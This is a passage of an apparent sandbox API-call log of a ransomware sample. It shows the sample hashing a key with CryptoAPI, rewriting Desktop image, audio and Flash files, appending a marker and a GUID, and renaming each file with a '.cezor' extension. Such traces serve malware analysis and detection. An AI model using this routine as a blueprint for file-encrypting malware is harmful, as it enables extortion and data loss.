out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x16ce0, lpOverlapped=0x0) returned 1 [0059.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.950] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16ce5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0059.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0059.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.950] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.951] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.951] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.951] CloseHandle (hObject=0x5c4) returned 1 [0059.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0059.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0059.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0059.952] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uVeSXOWXfi_KaHM6.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uvesxowxfi_kahm6.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uVeSXOWXfi_KaHM6.swf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uvesxowxfi_kahm6.swf.cezor")) returned 1 [0059.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.952] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.953] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dba0bd0, ftCreationTime.dwHighDateTime=0x1d4c661, ftLastAccessTime.dwLowDateTime=0x7ca3f460, ftLastAccessTime.dwHighDateTime=0x1d4c8e6, ftLastWriteTime.dwLowDateTime=0x7ca3f460, ftLastWriteTime.dwHighDateTime=0x1d4c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x5b25, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uVgxMcsEjpWpZrN.jpg", cAlternateFileName="UVGXMC~1.JPG")) returned 1 [0059.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.953] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uVgxMcsEjpWpZrN.jpg") returned=".jpg" [0059.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uVgxMcsEjpWpZrN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uvgxmcsejpwpzrn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.954] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=23333) returned 1 [0059.954] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.956] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5aff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.956] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.957] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.957] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.957] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.957] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x5b25, lpOverlapped=0x0) returned 1 [0059.957] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.957] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.957] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.957] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.957] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e898) returned 1 [0059.958] CryptCreateHash (in: hProv=0x74e898, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.958] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.958] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.958] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.958] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.958] GetLastError () returned 0x0 [0059.958] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.958] CryptReleaseContext (hProv=0x74e898, dwFlags=0x0) returned 1 [0059.958] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.958] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5b30) returned 0x31218d0 [0059.958] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.959] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x5b20, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x5b20, lpOverlapped=0x0) returned 1 [0059.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0059.959] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5b25, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.959] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.959] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0059.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.959] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.959] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.959] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.959] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.959] CloseHandle (hObject=0x5c4) returned 1 [0059.960] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0059.960] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0059.960] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0059.960] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uVgxMcsEjpWpZrN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uvgxmcsejpwpzrn.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uVgxMcsEjpWpZrN.jpg.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uvgxmcsejpwpzrn.jpg.cezor")) returned 1 [0059.961] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.961] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.961] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.962] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ff46a0, ftCreationTime.dwHighDateTime=0x1d4ccb6, ftLastAccessTime.dwLowDateTime=0xbd4de5f0, ftLastAccessTime.dwHighDateTime=0x1d4c5d2, ftLastWriteTime.dwLowDateTime=0xbd4de5f0, ftLastWriteTime.dwHighDateTime=0x1d4c5d2, nFileSizeHigh=0x0, nFileSizeLow=0x13f9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wjaMa6Mk-99x.gif", cAlternateFileName="WJAMA6~1.GIF")) returned 1 [0059.962] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.962] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.962] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wjaMa6Mk-99x.gif") returned=".gif" [0059.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wjaMa6Mk-99x.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wjama6mk-99x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.962] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=81822) returned 1 [0059.962] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.964] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13f78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.964] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.965] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.965] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x13f9e, lpOverlapped=0x0) returned 1 [0059.966] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.966] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.966] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.966] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.966] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.966] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.966] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.966] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.966] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.966] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.966] GetLastError () returned 0x0 [0059.967] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.967] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.967] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.967] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x13fa0) returned 0x3132418 [0059.967] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.967] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.967] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x13f99, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x13f99, lpOverlapped=0x0) returned 1 [0059.967] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.967] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13f9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.967] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.968] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0059.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.968] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0059.968] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.968] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.968] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.968] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.968] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.968] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.968] CloseHandle (hObject=0x5c4) returned 1 [0059.969] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.969] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0059.969] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.969] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wjaMa6Mk-99x.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wjama6mk-99x.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wjaMa6Mk-99x.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wjama6mk-99x.gif.cezor")) returned 1 [0059.970] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.970] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.970] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.970] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15bee050, ftCreationTime.dwHighDateTime=0x1d4c81b, ftLastAccessTime.dwLowDateTime=0x66a414c0, ftLastAccessTime.dwHighDateTime=0x1d4d074, ftLastWriteTime.dwLowDateTime=0x66a414c0, ftLastWriteTime.dwHighDateTime=0x1d4d074, nFileSizeHigh=0x0, nFileSizeLow=0xd71a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xe1YhHNVlwT k.wav", cAlternateFileName="XE1YHH~1.WAV")) returned 1 [0059.970] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.971] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.971] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.971] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xe1YhHNVlwT k.wav") returned=".wav" [0059.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xe1YhHNVlwT k.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xe1yhhnvlwt k.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.971] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=55066) returned 1 [0059.971] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.973] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.973] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.974] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.974] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.974] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.974] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xd71a, lpOverlapped=0x0) returned 1 [0059.974] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.974] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.975] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.975] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.975] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.975] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.975] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.975] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.975] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.975] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.975] GetLastError () returned 0x0 [0059.975] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.976] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.976] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.976] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd720) returned 0x3132418 [0059.976] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.976] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.976] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xd715, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xd715, lpOverlapped=0x0) returned 1 [0059.976] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.976] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd71a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.976] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.976] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0059.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.976] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.976] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.976] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.976] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.977] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.977] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.977] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.977] CloseHandle (hObject=0x5c4) returned 1 [0059.978] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.978] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0059.978] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.978] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xe1YhHNVlwT k.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xe1yhhnvlwt k.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xe1YhHNVlwT k.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js 